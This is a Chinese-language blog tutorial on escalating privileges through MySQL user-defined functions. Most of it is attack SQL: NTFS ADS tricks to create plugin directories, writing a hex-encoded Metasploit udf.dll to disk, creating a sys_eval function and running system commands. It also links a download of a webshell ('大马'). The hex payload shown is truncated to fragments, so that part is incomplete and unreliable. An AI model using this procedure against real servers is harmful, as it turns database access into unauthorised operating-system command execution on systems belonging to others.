mysql的UDF提权

原理

UDF ,(即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,其实就像使用本地MySQL函数如 user() 或 concat() 等。原理就是自定义一个函数,让他可以任意的执行系统命令,达到提权目的。

前提条件

  1. mysql的权限是root权限。
  2. 配置文件中secure_file_priv=(未写路径)
  3. mysql版本小于5.7(自行测试过5.7版本以上创建目录会失败,不知是否有其他方法,欢迎指出。)

创建目录

先判断mysql版本

 select version()

如果版本大于5.1的话MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建),而我们的udf文件要导入到该目录下。(可用NTFS ADS流模式突破进而创建文件夹)
先确定mysql安装目录:

select @@basedir; //查找到mysql的目录

确定好后开始创建目录(利用NTFS特性)

select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';  //利用NTFS ADS创建lib目录

select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';  //利用NTFS ADS创建plugin目录

开始上传UDF.dll文件

上传的文件udf文件可以用kail 的/usr/share/metasploit-framework/data/exploits/mysql/ 目录下的,先判断目标机器的操作系统版本,show variables like '%compile%' 我这里是64位的那我就用64的udf文件。

创建一个表并将二进制数据插入到十六进制编码流中(这里麻烦一些,上传一个大马上去,可以省略其他操作:链接: https://pan.baidu.com/s/1bhqVuD5P_v0lqjy1e2HNOg 提取码: ivwb 复制这段内容后打开百度网盘手机App,操作更方便哦

create table temp(data longblob);
insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);
select data from temp into dumpfile "'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\udf.dll";
create function sys_eval returns string soname 'udf.dll';   #创建函数sys_eval

查看是否生效。

select * from mysql.func where name = 'sys_eval';

尝试执行系统命令

select sys_eval('whoami'); 

mysql的UDF提权

上一篇:mysql udf提权


下一篇:Android Studio 引入 Fresco